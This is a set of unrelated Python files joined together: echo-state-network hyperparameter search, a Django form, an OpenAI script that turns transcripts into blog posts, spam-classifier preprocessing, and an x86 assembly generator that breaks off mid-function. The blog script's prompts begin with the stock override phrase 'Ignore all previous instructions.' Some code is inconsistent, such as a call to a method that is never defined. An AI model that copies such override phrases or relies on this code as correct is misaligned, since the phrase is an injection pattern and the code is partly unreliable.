        if esn.input_augmented_reservoir:
            aug_ix = trainable_variables["W_out"][0, -esn.number_of_inputs + self_ix]

        return abs(A_ix + aug_ix) < 1

    def _configure_pool(self, configs: Dict, trainable_variables: Dict = None):
        local_config = configs.copy()
        model_id = local_config.pop("model_id")
        if "exp_beta" in local_config:
            local_config["beta"] = 10 ** local_config.pop("exp_beta")
        if "resblock_damping" in local_config:
            local_config["A"] = _compute_damped_residual_block(
                local_config.pop("resblock_damping"), self._esn_n_inputs, self.target_ix
            )
        if trainable_variables is not None:
            local_config.update(trainable_variables)

        esn = EchoStateNetwork.restore(self.base_model_path, model_id)
        merged_configs = {**self.esn_override_configs, **local_config}
        esn.set_parameters(merged_configs)
        esn.set_reference()
        esn.reset()

        self._pool_ix.load_model_instance(esn, index=self.target_ix)

    def _fit(
        self,
    ):
        self._pool_ix.fit(
            input_data=self.train_data[0:-1, :],
            target_data=self.train_data[1:, :],
            auxiliary_data=self.train_data_aux[0:-1, :],
            index=self.target_ix,
        )

    def _extrapolate_target_model(
        self, init_state=None, init_aux=None, next_data=None, next_aux=None, reset=True
    ):
        if reset:
            self._pool_ix.set_reference()
            self._pool_ix.reset()

        extrapolation_data = []
        total_steps = next_aux.shape[0] + 1
        for n in range(total_steps):
            sys.stdout.write(f"\rPredicting step {n+1}/{total_steps}")
            sys.stdout.flush()
            with contextlib.redirect_stdout(None):
                s = self._pool_ix.predict(
                    initial_state=init_state,
                    auxiliary_data=init_aux,
                    index=self.target_ix,
                )

            extrapolation_data.append(s)

            if n < next_aux.shape[0]:
                init_state = next_data[n : n + 1, :].copy()
                init_state[:, self.target_ix : self.target_ix + 1] = s
                init_aux = next_aux[n : n + 1, :]

        sys.stdout.write("\r")
        sys.stdout.flush()

        extrapolation_data = np.vstack(extrapolation_data)

        return extrapolation_data

    def objective(self, configs: Dict):
        self._configure_pool(configs=configs)

        self._fit()

        extrapolation_data = self._extrapolate_target_model(
            init_state=self.train_data[-1:, :],
            init_aux=self.train_data_aux[-1:, :],
            next_data=self.validation_data[:-1, :],
            next_aux=self.validation_data_aux[:-1, :],
            reset=False,
        )

        # This value is intended to be as close as possible to zero
        objective_value = math.sqrt(
            math.pow(
                1
                - DeterminationCoeff()(
                    data=extrapolation_data,
                    reference_data=self.validation_data[
                        :, self.target_ix : self.target_ix + 1
                    ],
                ),
                2,
            )
        )

        is_stable = self.check_stability()
        if not is_stable:
            objective_value += self.instability_penalty

        return objective_value

    def cos_save_callback(
        self,
        study: optuna.Study,
        trial: FrozenTrial,
        cos_config,
        bucket_name,
        dir_path_in_bucket,
    ):
        esn = self.get_esn_model_instance()
        save_trainable_variables(
            cos_config=cos_config,
            bucket_name=bucket_name,
            dir_path_in_bucket=dir_path_in_bucket,
            study_name=study.study_name,
            trial_number=trial.number,
            trainable_variables=esn.trainable_variables,
        )

def _trial_filename(study: str, trial_number: int):
    assert study is not None
    assert trial_number is not None

    return f"study_{study}_trial_{str(trial_number)}.pkl"

def load_trainable_variables(
    cos_config, bucket_name, dir_path_in_bucket, study_name, trial_number
):
    success = False
    trainable_variables = {}
    if cos_config is not None:
        cos = CloudObjectStorage.from_config_json(cos_config)
        trial_filename = _trial_filename(study_name, trial_number)
        filename_in_bucket = os.path.join(dir_path_in_bucket, trial_filename)
        success = cos.check_file_exists(bucket_name, filename_in_bucket)
        if success:
            with make_temp_directory() as tmp_dir:
                saved_variables_filename = os.path.join(tmp_dir, trial_filename)
                cos.get_file(bucket_name, filename_in_bucket, saved_variables_filename)
                with open(saved_variables_filename, "rb") as saved_variables_file:
                    trainable_variables = pickle.load(saved_variables_file)

    return success, trainable_variables

def save_trainable_variables(
    cos_config,
    bucket_name,
    dir_path_in_bucket,
    study_name,
    trial_number,
    trainable_variables,
):
    if cos_config is not None:
        cos = CloudObjectStorage.from_config_json(cos_config)
        trial_filename = _trial_filename(study_name, trial_number)
        filename_in_bucket = os.path.join(dir_path_in_bucket, trial_filename)
        with make_temp_directory() as tmp_dir:
            saved_variables_filename = os.path.join(tmp_dir, trial_filename)
            try:
                with open(saved_variables_filename, "wb") as fp:
                    pickle.dump(trainable_variables, fp, protocol=4)
            except Exception as e:
                print(e, e.args)
            cos.put_file(bucket_name, filename_in_bucket, saved_variables_filename)

def optuna_assess_best_solution_ESNIndependent(
    train_data: np.ndarray = None,
    train_data_aux: np.ndarray = None,
    full_data: np.ndarray = None,
    full_data_aux: np.ndarray = None,
    target_ix: int = 0,
    base_model_path: str = None,
    study_name: str = None,
    storage: str = None,
    trial_number: int = None,
    cos_config: Dict = None,
    bucket_name: str = None,
    dir_path_in_bucket: str = None,
    recompute_trainable_variables: bool = False,
    pool_template: str = None,
):
    hyper_search = optuna.load_study(
        study_name=study_name,
        storage=storage,
    )

    if trial_number is None:
        trial = hyper_search.best_trial
        trial_number = trial.number
    else:
        trial = hyper_search._storage.get_trial(
            hyper_search._storage.get_trial_id_from_study_id_trial_number(
                hyper_search._study_id, trial_number
            )
        )

    print(f"Extrapolating trial with number {trial.number}")

    if recompute_trainable_variables:
        print(f"Recomputing trainable variables")
        success_loading = False
        trainable_variables = None
    else:
        success_loading, trainable_variables = load_trainable_variables(
            cos_config, bucket_name, dir_path_in_bucket, study_name, trial_number
        )

        print(f"Loading trainable variables success_loading={success_loading}")

    o = ObjectiveESNIndependent(
        train_data=train_data,
        train_data_aux=train_data_aux,
        validation_data=None,
        validation_data_aux=None,
        target_ix=target_ix,
        base_model_path=base_model_path,
        reservoir_config_space=None,
        pool_template=pool_template,
    )

    o._configure_pool(configs=trial.params, trainable_variables=trainable_variables)

    if not success_loading:
        o._fit()
        esn = o.get_esn_model_instance()
        save_trainable_variables(
            cos_config,
            bucket_name,
            dir_path_in_bucket,
            study_name,
            trial_number,
            esn.trainable_variables,
        )

    extrapolation_data = o._extrapolate_target_model(
        init_state=full_data[0:1, :],
        init_aux=full_data_aux[0:1, :],
        next_data=full_data[1:, :],
        next_aux=full_data_aux[1:, :],
        reset=True,
    )

    return extrapolation_data

def optuna_objectiveESNIndependent(
    train_data: np.ndarray = None,
    train_data_aux: np.ndarray = None,
    validation_data: np.ndarray = None,
    validation_data_aux: np.ndarray = None,
    target_ix: int = 0,
    base_model_path: str = None,
    reservoir_config_space: Dict = None,
    n_trials: int = 1,
    study_name: str = None,
    storage: str = None,
    cos_config: Dict = None,
    bucket_name: str = None,
    dir_path_in_bucket: str = None,
    pool_template: str = None,
    do_grid_search: bool = False,
):
    o = ObjectiveESNIndependent(
        train_data=train_data,
        train_data_aux=train_data_aux,
        validation_data=validation_data,
        validation_data_aux=validation_data_aux,
        target_ix=target_ix,
        base_model_path=base_model_path,
        reservoir_config_space=reservoir_config_space,
        pool_template=pool_template,
    )

    sampler = None
    if do_grid_search:
        sampler = optuna.samplers.GridSampler(reservoir_config_space)
    hyper_search = optuna.create_study(
        study_name=study_name,
        sampler=sampler,
        direction="minimize",
        storage=storage,
        load_if_exists=True,
    )

    def saver(s, t):
        o.cos_save_callback(s, t, cos_config, bucket_name, dir_path_in_bucket)

    hyper_search.optimize(o.optuna_objective, n_trials=n_trials, callbacks=[saver])

def optuna_assess_best_joint_solution_ESNIndependent(
    initial_data: np.ndarray = None,
    data_aux: np.ndarray = None,
    base_model_paths: List[str] = None,
    study_names: List[str] = None,
    storage: str = None,
    trial_numbers: List[int] = None,
    cos_config: Dict = None,
    bucket_name: str = None,
    study_paths_in_bucket: List[str] = None,
    compare_data: np.ndarray = None,
    pool_template: str = None,
    hidden_state_startup_burning_steps: int = 0,
):
    _n_inputs = initial_data.shape[1] + data_aux.shape[1]
    if pool_template == "independent_timeseries":
        _esn_n_inputs = _n_inputs
    elif pool_template == "no_communication_series":
        _esn_n_inputs = 1 + data_aux.shape[1]
    else:
        raise RuntimeError(f"Unrecognized pool_template={pool_template}")

    pool = ModelPool(
        config={
            "template": pool_template,
            "n_inputs": _n_inputs,
            "n_auxiliary": data_aux.shape[1],
            "n_outputs": initial_data.shape[1],
        },
        model_type="EchoStateNetwork",
    )

    for ix, study_name in enumerate(study_names):
        hyper_search = optuna.load_study(
            study_name=study_name,
            storage=storage,
        )

        if trial_numbers is not None:
            trial_number = trial_numbers[ix]
        else:
            trial_number = None

        if trial_number is None:
            trial = hyper_search.best_trial
            trial_number = trial.number
        else:
            trial = hyper_search._storage.get_trial(
                hyper_search._storage.get_trial_id_from_study_id_trial_number(
                    hyper_search._study_id, trial_number
                )
            )

        print(
            f"Extrapolating time_series={int(ix)}, trial with number {trial.number} in study={str(study_name)}"
        )

        dir_path_in_bucket = study_paths_in_bucket[ix]
        configs = trial.params
        success_loading, trainable_variables = load_trainable_variables(
            cos_config, bucket_name, dir_path_in_bucket, study_name, trial_number
        )

        if not success_loading:
            raise RuntimeError(
                f"Loading trainable variables success_loading={success_loading}"
            )

        local_config = configs.copy()
        model_id = local_config.pop("model_id")
        if "exp_beta" in local_config:
            local_config["beta"] = 10 ** local_config.pop("exp_beta")
        if "resblock_damping" in local_config:
            local_config["A"] = _compute_damped_residual_block(
                local_config.pop("resblock_damping"), _esn_n_inputs, ix
            )

        local_config.update(trainable_variables)

        esn = EchoStateNetwork.restore(base_model_paths[ix], model_id)
        esn.set_parameters({**local_config})
        esn.set_reference()
        esn.reset()

        pool.load_model_instance(esn, index=ix)

    one_step_ahead_list = []
    for i in range(hidden_state_startup_burning_steps):
        if compare_data is not None and i < compare_data.shape[0]:
            c = compare_data[i : i + 1, :]
        else:
            c = None
        one_step_ahead = pool.predict(
            initial_state=initial_data[i : i + 1, :],
            auxiliary_data=data_aux[i : i + 1, :],
            compare_data=c,
        )
        one_step_ahead_list.append(one_step_ahead)

    if (
        compare_data is not None
        and hidden_state_startup_burning_steps < compare_data.shape[0]
    ):
        c = compare_data[hidden_state_startup_burning_steps:, :]
    else:
        c = None
    extrapolation_data = pool.predict(
        initial_state=initial_data[hidden_state_startup_burning_steps:, :],
        auxiliary_data=data_aux[hidden_state_startup_burning_steps:, :],
        compare_data=c,
    )

    extrapolation_data = np.vstack((*one_step_ahead_list, extrapolation_data))

    return extrapolation_data

def define_reservoir_configs_for_affine_training(
    data_truncation_n: int = None,
    data_aux_truncation_n: int = None,
    cos_config: Dict = None,
    bucket_name: str = None,
    reservoir_config_path: str = None,
    mount_path: str = None,
    pool_template: str = None,
):
    with contextlib.ExitStack() as stack:
        if mount_path is None:
            mount_path = os.getenv("MOUNT_PATH", "")
        if mount_path == "":
            mount_path = stack.enter_context(make_temp_directory())

        base_model_path = os.path.join(mount_path, reservoir_config_path)
        os.makedirs(base_model_path, exist_ok=True)

        if pool_template == "independent_series":
            sub_model_number_of_inputs = (
                data_truncation_n + data_aux_truncation_n
            )  # size of the data
        elif pool_template == "no_communication_series":
            sub_model_number_of_inputs = 1 + data_aux_truncation_n  # size of the data
        else:
            raise RuntimeError(f"Unsupported pool_template={pool_template}")

        rc_config = {
            "reservoir_dim": 0,
            "sparsity_level": 1,
            "number_of_inputs": sub_model_number_of_inputs,
        }
        esn = EchoStateNetwork(**rc_config)
        esn.save(base_model_path, "EchoStateNetwork_0")
        model_filename = os.path.join(base_model_path, "EchoStateNetwork_0" + ".pkl")

        truncation = {
            "data_truncation_n": data_truncation_n,
            "data_aux_truncation_n": data_aux_truncation_n,
            "pool_template": pool_template,
        }
        truncation_filename = os.path.join(base_model_path, "truncation.json")
        with open(truncation_filename, "w") as f_truncation:
            json.dump(truncation, fp=f_truncation, indent=1)

        reservoir_config_space = {
            "estimate_bias_transition": [False, True],
            "estimate_linear_transition": [False, True],
            "model_id": ["EchoStateNetwork_0"],
        }
        reservoir_config_space_filename = os.path.join(
            base_model_path, "reservoir_config_space.json"
        )
        with open(reservoir_config_space_filename, "w") as f_reservoir_config_space:
            json.dump(reservoir_config_space, fp=f_reservoir_config_space, indent=1)

        if cos_config is not None:
            cos = CloudObjectStorage.from_config_json(cos_config)
            cos.put_file(
                bucket_name,
                f"{reservoir_config_path}/EchoStateNetwork_0.pkl",
                model_filename,
            )
            cos.put_file(
                bucket_name,
                f"{reservoir_config_path}/truncation.json",
                truncation_filename,
            )
            cos.put_file(
                bucket_name,
                f"{reservoir_config_path}/reservoir_config_space.json",
                reservoir_config_space_filename,
            )


from django import forms
from django.forms import DateInput, NumberInput, DateTimeInput

from .models import *

class OptINforms(forms.ModelForm):
    # data = forms.DateField(widget=forms.SelectDateWidget)

    class Meta:
        model=OptIN
        fields=["name","email","number","data","HeaderFooter"]
        widgets = {
            'data':  DateTimeInput( format=('%D-%M-%Y'),attrs={'type': 'date' }),
            'number':NumberInput(attrs={'type':'number'})
               }


import os
import openai
import tiktoken
import regex as re

def create_chunks(tt_encoding, text, chunkSize):
    # Split the text into sentences
    sentences = re.split("(?<=[.!?])+", text)
    print(sentences)
    # Group the sentences into chunks
    max_chunk_size = chunkSize  # Taking consideration of the extra tokens of prompts
    chunks = []
    current_chunk = ""
    current_chunk_tokens = 0

    for i, sentence in enumerate(sentences):
        sentence_tokens = len(tt_encoding.encode(sentence))
        if current_chunk_tokens + sentence_tokens > max_chunk_size:
            # Add the current chunk to the list of chunks
            chunks.append((current_chunk_tokens, current_chunk))
            # Start a new chunk with the last sentence of the previous chunk
            current_chunk = sentences[i - 1] + sentence
            current_chunk_tokens = len(tt_encoding.encode(current_chunk))
        else:
            # Add the sentence to the current chunk, with overlap if not first chunk
            if current_chunk:
                current_chunk += " " + sentence
                current_chunk_tokens += sentence_tokens
            else:
                current_chunk = sentence
                current_chunk_tokens = sentence_tokens

    # Add the last chunk to the list of chunks
    chunks.append((current_chunk_tokens, current_chunk))
    return chunks

def blogify(paragraphs):
    opanai_api_key = os.environ.get("OPENAI_API_KEY")
    if opanai_api_key == None:
        print("OPENAI_API_KEY is not set")
        exit(1)

    openai.api_key = opanai_api_key

    model = os.environ.get("OPENAI_MODEL", "gpt-3.5-turbo-0301")

    # for now, just join all the sentences in each together
    raw_text = ""
    current_speaker = -1
    for paragraph in paragraphs:
        if paragraph["speaker"] != current_speaker:
            current_speaker = paragraph["speaker"]
            raw_text += f"Speaker {current_speaker}: \r\n"
        for sentence in paragraph["sentences"]:
            sentenceText = sentence["text"]
            raw_text += f"\t{sentenceText}\r\n"

    tt_encoding = tiktoken.encoding_for_model(model)
    chunks = create_chunks(tt_encoding, raw_text, 2049) # gpt-3.5-turbo-0301 has a max of 4096 tokens

    final_response = []
    for i, (tokens, chunk) in enumerate(chunks):
        print(f'Chunk [{i}]: {chunk}\nTokens: {tokens}\n')
        response = openai.ChatCompletion.create(
            model=model,
            messages=[
                {
                    "role": "system",
                    "content": "Ignore all previous instructions.  You are a Principal Software Architect for a famous online tech website. Your task is to write engaging and helpful blob posts from the given context.",
                },
                {
                    "role": "user",
                    "content": f"Ignore all previous instructions. Here is your new role and persona: You are a Principal Software Architect for a famous online tech website. Your task is to write engaging and helpful blob posts from the given context:\n {chunk}",
                },
            ],
        )

        final_response.append(response)

    return final_response


# This is a sample Python script.
import numpy as np
import pandas as pd
import tensorflow
from keras.preprocessing.text import Tokenizer
from keras.utils import pad_sequences
from numpy import nan
import nltk
import sklearn.feature_extraction.text as pre
from sklearn import preprocessing
from sklearn.feature_extraction.text import CountVectorizer
import pickle as pk

# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.

def print_hi(name):
    # Use a breakpoint in the code line below to debug your script.
    print(f'Hi, {name}')  # Press Ctrl+F8 to toggle the breakpoint.

# Press the green button in the gutter to run the script.
if __name__ == '__main__':
    '''
    print_hi('PyCharm')
    data = pd.read_csv("email_data_spam.csv")
    print(data.loc[223]["email"])
    print(prepro(data.loc[346]["email"]))
    print(data[data["email"] == data.loc[223]["email"]].size)
    print(data[data["email"] == ""].size)
    for i in range(1396):
        data.loc[i]["email"]=prepro((str)(data.loc[i]["email"]))

    print(data[data["email"] == data.loc[223]["email"]].size)

    print(data[data["email"]==""].size)
    matest = np.array(data["email"])

    matr = vecvec.fit_transform(np.array(data["email"]))
    matr = pd.DataFrame(matr,columns= vecvec.get_feature_names_out())
    print(matr)

    data.to_csv("spamPretraité.csv")

    from keras.models import Sequential
    from keras.layers import Conv2D, MaxPooling2D, Flatten, Dense

    # Créer un modèle séquentiel
    model = Sequential()

    # Ajouter des couches de convolution et de max pooling
    model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(28, 28, 1)))
    model.add(MaxPooling2D(pool_size=(2, 2)))
    model.add(Conv2D(64, (3, 3), activation='relu'))
    model.add(MaxPooling2D(pool_size=(2, 2)))

    # Ajouter une couche de flattening
    model.add(Flatten())

    # Ajouter des couches fully connected
    model.add(Dense(128, activation='relu'))
    model.add(Dense(10, activation='softmax'))

    # Compiler le modèle
    model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])

    # Entraîner le modèle sur les données d'entraînement
    model.fit(x_train, y_train, epochs=10, validation_data=(x_test, y_test))'''
#,index = [i for i in range(3947,4197)]
#,index=[i for i in range(1396,3947)]

# See PyCharm help at https://www.jetbrains.com/help/pycharm/
'''data = pd.read_csv("email_data_spam.csv")

data2 = pd.DataFrame(pd.read_csv("preprocessed_emails.csv"))
data2.rename(columns={"preprocessed_email": "email"}, inplace=True)

print(data2)
data3 = pd.DataFrame(pd.read_csv("preprocessed_emails_hard_ham.csv"))
data3.rename(columns={"preprocessed_email": "email"}, inplace=True)
print(data3)
print('here')

for i in range(1396):
    data.loc[i]["email"]=prepro((str)(data.loc[i]["email"]))
data =pd.concat([data3,data,data2],ignore_index=True)
data = data.sample(frac=1).reset_index()
data.to_csv("spamPretraité.csv")'''
data = pd.read_csv("spamPretraité.csv")
data["email"]=data["email"].astype(str)
Y = pd.DataFrame(np.array(data["label"]),columns=["label"])
Y[Y["label"] == "spam"] = 1
Y[Y["label"] == "ham"] = 0
Y_train = np.array((Y.iloc[[i for i in range(0,3300)]]))
Y_test = np.array((Y.iloc[[i for i in range(3300,4197)]]))
tokenizer = Tokenizer(num_words=30000)
tokenizer.fit_on_texts(data["email"].values)
sequences = tokenizer.texts_to_sequences(data["email"])
word_index = tokenizer.word_index
vecvec = CountVectorizer()
datdat =vecvec.fit_transform(data['email'].values).toarray()
print(datdat)
print(datdat.shape)
datata = pd.DataFrame(datdat,index = [i for i in range(datdat.shape[0])],columns=vecvec.get_feature_names_out())
print(datata)
summ = datata.sum(axis=0)
print(summ)
listvocab= summ[summ>3]
datata = datata[listvocab.index]
datata[datata>1]=1
print(datata)
print(listvocab)
file = open('vocabulaire', 'wb')
datata.to_csv("countMatrix")
pk.dump(listvocab,file)

file.close()
'''
X = tokenizer.texts_to_sequences(data['email'].values)
X = pad_sequences(X)
#X = preprocessing.normalize(X)
#print(X)

# Convert label data to binary values
# y = pd.get_dummies(data['Spam']).values
print('Found %s unique tokens.' % len(word_index))
X_train = X[0:3300]
X_test = X[3300:4197]
from sklearn.preprocessing import MinMaxScaler
# Normalize data
scaler = MinMaxScaler()
X_train = scaler.fit_transform(X_train)
X_test = scaler.transform(X_test)
print(X_train)

print(Y_train.shape)
print(Y_test.shape)
from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D, Flatten, Dense

X_train = np.asarray(X_train).astype('float32')
X_train = tensorflow.expand_dims(X_train, axis=-1)
X_train = tensorflow.expand_dims(X_train, axis=-1)

Y_train = np.asarray(Y_train).astype('float32')
X_test = np.asarray(X_test).astype('float32')
X_test = tensorflow.expand_dims(X_test, axis=-1)
X_test = tensorflow.expand_dims(X_test, axis=-1)
Y_test = np.asarray(Y_test).astype('float32')
print(X_train.shape)
print(X_test.shape)

# Créer un modèle séquentiel
model = Sequential()

# Ajouter des couches de convolution et de max pooling
model.add(Conv2D(32, (3, 3), activation='relu', input_shape=X_train.shape[1:],padding='same'))
model.add(MaxPooling2D(pool_size=(2, 2),padding='same'))
model.add(Conv2D(64, (3, 3), activation='relu',padding='same'))
model.add(MaxPooling2D(pool_size=(2, 2),padding='same'))

# Ajouter une couche de flattening
model.add(Flatten())

# Ajouter des couches fully connected
model.add(Dense(128, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dense(1, activation='softmax'))

# Compiler le modèle
model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])
print(X_train.shape)
# Entraîner le modèle sur les données d'entraînement
model.fit(X_train, Y_train, epochs=10, validation_data=(X_test, Y_test),batch_size=32)'''


import struct
from .utils import function_ranges2, op_uses_values, op_sets_result, simplify_op, op_is_comp, bin_ops, un_ops

class ASMInstruction:

    def __init__(self, op, arg1=None, arg2=None, comment=None, indent=True):
        self.op = op
        self.arg1 = arg1
        self.arg2 = arg2
        self.comment = comment
        self.indent = indent

    def __str__(self):
        if self.op is None:
            return '\t'.ljust(25) + ('' if self.comment is None else '\t# ' + self.comment)
        indent = '\t' if self.indent else ''
        instr = indent + self.op.ljust(5) + '\t' + ', '.join([el for el in [self.arg1, self.arg2] if el is not None])
        instr = instr.ljust(25)
        if self.comment is not None:
            instr += '\t# ' + self.comment
        return instr

    def __repr__(self):
        return self.__str__()

    def __eq__(self, other):
        return (self.op, self.arg1, self.arg2) == (other.op, other.arg1, other.arg2)

op_to_asm = {
    '+': 'add',
    'f+': 'faddp',
    '-': 'sub',
    'f-': 'fsubp',
    'fu-': 'fsubp',
    '*': 'imull',
    'f*': 'fmulp',
    '/': 'idivl',
    'f/': 'fdivp',
    '%': 'idivl',
    '==': 'sete',
    '!=': 'setne',
    '<=': 'setle',
    '>=': 'setge',
    'f>=': 'setnb',
    '<': 'setl',
    'f<': 'setnae',
    '>': 'setg',
}

def is_var_or_temp(arg):
    return type(arg) is str

def gen_stack_mapping(code, params):
    currmap = {}
    for tac in code:
        op, _, _, _ = tac
        op = simplify_op(op)
        if op == 'arr-def':
            op, _, name, _ = tac
            currmap[name] = -(len(currmap) + 1) * 4
        if op not in op_uses_values and op not in op_sets_result:
            continue
        for argpos in op_uses_values[op] + ([3]if op in op_sets_result else[]):
            arg = tac[argpos]
            if arg in currmap:
                continue
            if not is_var_or_temp(arg):
                if type(arg) is float:
                    currmap[arg] = -(len(currmap) + 1) * 4
                continue
            if arg in params:
                continue
            currmap[arg] = -(len(currmap) + 1) * 4
    for loc, param in enumerate(params):
        currmap[param] = (loc + 2) * 4
    return currmap

def calc_types(code):
    types = []
    tmptypes = {}

    def typeofarg(arg):
        if type(arg) is str:
            return tmptypes[arg]
        return 'int' if type(arg) is int else 'float'
    for line, (op, arg1, arg2, res) in enumerate(code):
        newtype = None
        if op == 'assign':
            if arg2 is None:
                newtype = typeofarg(arg1)
            else:
                newtype = arg2
            tmptypes[res] = newtype
        elif op == 'pop':
            newtype = arg2
            tmptypes[res] = newtype
        elif op == 'arr-def':
            newtype = res
            tmptypes[arg2] = newtype
        elif op == 'arr-acc':
            newtype = typeofarg(arg2)
            tmptypes[res] = newtype
        elif op in un_ops:
            newtype = typeofarg(arg1)
            tmptypes[res] = newtype
        elif op in bin_ops:
            arg1t, arg2t = typeofarg(arg1), typeofarg(arg2)
            if arg1t != arg2t:
                print(arg1t, arg2t, arg1, arg2)
                # TODO type coercion?
                raise Exception
            newtype = arg1t
            tmptypes[res] = newtype
        types.append(newtype)
    return types

def float_to_asm(f):
    return '$%s' % hex(struct.unpack('<I', struct.pack('<f', f))[0])

def fun_to_asm(code, assembly):

    def arg_to_asm(arg):
        if is_var_or_temp(arg) or type(arg) is float:
            return '%d(%%ebp)' % register_to_stack[arg]
        elif type(arg) is int:
            return '$%d' % arg
        else:
            raise NotImplementedError

    def add(op, arg1=None, arg2=None, comment=None, indent=True):
        assembly.append(ASMInstruction(op, arg1, arg2, comment, indent))

    def to_assembly(op, arg1, arg2, res, totype=None):
        if op == 'jump':
            add('jmp', res)
        elif op == 'jumpfalse':
            add('cmp', '$0', arg_to_asm(arg1), comment='if(' + str(arg1) + '==0) goto ' + res)
            add('je', res)
        elif op == 'label':
            add(res + ':', indent=False)
        elif op == 'function':
            raise NotImplementedError
        elif op == 'call':
            raise NotImplementedError
        elif op == 'end-fun':
            add(None)
        elif op == 'return':
            add('mov', '%ebp', '%esp')
            add('pop', '%ebp')
            add('ret')
        elif op == 'push':
            raise NotImplementedError
        elif op == 'pop':
            raise NotImplementedError
        elif op == 'assign':
            comment = res + ' := ' + str(arg1)
            need_accum = (is_var_or_temp(arg1) and is_var_or_temp(res)) or type(arg1) is float
            arg1, res = [arg_to_asm(el) for el in [arg1, res]]
            if need_accum:
                add('mov', arg1, '%eax', comment=comment)
                add('movl', '%eax', res)
            else:
                add('movl', arg1, res, comment=comment)
        elif op in ['*', '/', '%']:
            comment = res + ' = ' + str(arg1) + ' ' + op + ' ' + str(arg2)
            if totype == 'int':
                add('mov', arg_to_asm(arg1), '%eax', comment=comment)
                if op in ['/', '%']:
                    add('cdq')
                if is_var_or_temp(arg2):
                    add(op_to_asm[op], arg_to_asm(arg2))
                else:
                    add('mov', arg_to_asm(arg2), '%ecx')
                    add(op_to_asm[op], '%ecx')
                if op == '%':
                    add('mov', '%edx', arg_to_asm(res))
                else:
                    add('mov', '%eax', arg_to_asm(res))
            elif totype == 'float':
                op = 'f' + op
                add('flds', arg_to_asm(arg2), comment=comment)
                add('flds', arg_to_asm(arg1))
                add(op_to_asm[op], '%st', '%st(1)')
                add('fstps', arg_to_asm(res))
            else:
                raise NotImplementedError
        elif op in bin_ops:
            comment = res + ' = ' + str(arg1) + ' ' + op + ' ' + str(arg2)
            if op in op_is_comp:
                if totype == 'int':
                    add('mov', arg_to_asm(arg1), '%ebx', comment=comment)
                    add('mov', arg_to_asm(arg2), '%eax')
                    add('cmp', '%eax', '%ebx')
                elif totype == 'float':
                    op = 'f' + op
                    add('flds', arg_to_asm(arg2), comment=comment)
                    add('flds', arg_to_asm(arg1))
                    add('fcomip')
                    add('fstp', '%st(0)')
                else:
                    raise NotImplementedError
                add('movl', '$0', arg_to_asm(res))
                add(op_to_asm[op], arg_to_asm(res))
            else:
                if totype == 'int':
                    add('mov', arg_to_asm(arg1), '%eax', comment=comment)
                    add(op_to_asm[op], arg_to_asm(arg2), '%eax')
                    add('mov', '%eax', arg_to_asm(res))
                elif totype == 'float':
                    op = 'f' + op
                    add('flds', arg_to_asm(arg2), comment=comment)
                    add('flds', arg_to_asm(arg1))
                    add(op_to_asm[op], '%st', '%st(1)')
                    add('fstps', arg_to_asm(res))
                else:
                    raise NotImplementedError
        elif op == 'u-':
            comment = res + ' = ' + op[1:] + str(arg1)
            if totype == 'int':
                add('mov', '$0', '%eax', comment=comment)
                add('sub', arg_to_asm(arg1), '%eax')
                add('mov', '%eax', arg_to_asm(res))
            elif totype == 'float':
                op = 'f' + op
                add('flds', arg_to_asm(arg1), comment=comment)
                add('fldz')
                add(op_to_asm[op], '%st', '%st(1)')
                add('fstps', arg_to_asm(res))
            else:
                raise NotImplementedError
        elif op == 'u!':
            comment = res + ' = ' + op[1:] + str(arg1)
            add('mov', arg_to_asm(arg1), '%eax', comment=comment)
            add('movl', '$0', arg_to_asm(res))
            add('cmp', '$0', '%eax')
            add('sete', arg_to_asm(res))
        elif op == 'arr-def':
            name, size = str(arg2), arg1
            comment = 'new int ' + name + '[' + str(size) + ']'
            add('movl', arg_to_asm(size), '%ebx', comment=comment)
            add('leal', '(,%ebx, 4)', '%ebx')
            add('sub', '%ebx', '%esp')
            add('movl', '%esp', arg_to_asm(name))
        # TODO use esi register?, remove %
        elif op == 'arr-acc':
            name, index = arg2, arg1
            comment = res + ' = ' + str(name) + '[' + str(index) + ']'
            add('movl', arg_to_asm(index), '%ebx', comment=comment)
            add('movl', arg_to_asm(name), '%ecx')
            add('movl', '-4(%s,%s,4)' % ('%ecx', '%ebx'), '%eax')
            add('movl', '%eax', arg_to_asm(res))
        elif op == 'arr-ass':
            name, index, result = res, arg1, arg2
            comment = name + '[' + str(index) + ']' + ' = ' + str(result)
            add('movl', arg_to_asm(result), '%eax', comment=comment)
            add('movl', arg_to_asm(index), '%ebx')
            add('movl', arg_to_asm(name), '%ecx')
            add('movl', '%eax', '-4(%s,%s,4)' % ('%ecx', '%ebx'))
        else:
            raise NotImplementedError

    '''
    Almost all TAC's can be directly mapped to a set of ASM instructions.
    Special care has to be taken in 2 cases:
        * 'pop'
            could be a passed parameter in the beginning of the function
            or a return value of a function call
        * 'push'
            could be a passed argument before a function call
            or a return value at the end of a function

    To mitigate this problem we use a state-machine that operates on
    the TAC operation (with a lookahead to the next operation):

        'fun-def' state (we start in this state):
            'function','pop'
                don't get mapped to ASM instructions. (but we save the names)
            'any other operation'
                means we are at the end of the function definition. We create
                a new stackframe by allocating the appropriate space on the
                stack and saving the old base pointer.
                'n' parameters are now on the stack in the range
                    8(%ebp) to ((n+2)*4)(%ebp)
                and 'n' local variables are now in the range
                    -4(%ebp) to ((n+1)*-4)(%ebp)
                the next and final state is 'fun-body'

        'fun-body' state:
            'push'
                could be a argument push, or return value. Thus we look to the
                next operation. If it is a return operation we know that we
                have to move the result into the '%eax' register. Otherwise we
                just push the argument (and save its name).
            'call'
                we generate a 'call' ASM instruction and reset the stack pointer
                we also generate a nice comment with the arguments we pushed
                beforehand. By looking at the next operation we also know if
                the function returns a value.
            'pop'
                this has to be a return value from a function call (the other
                type of 'pop' only happens in function definitions). Thus we
                just assign the value of '%eax' to the register.
            'any other operation'
                uses the simple mapping defined in the 'to_assembly' function
    '''
    register_to_stack = None
    state, fname, params = 'fun-def', None, []
    line = 0
    args = []
    types = calc_types(code)
    while line < len(code):
        totype = types[line]
        tac = code[line]
        op, arg1, _, res = tac

        if state == 'fun-def':
            if op == 'function':
                fname = res
            elif op == 'pop':
                params.append(res)
            else:
                register_to_stack = gen_stack_mapping(code, params)
                registersinframe = len(register_to_stack) - len(params)
                # label
                add(fname + ':\t', indent=False, comment='%d params already on stack' % len(params))
                for var in params:
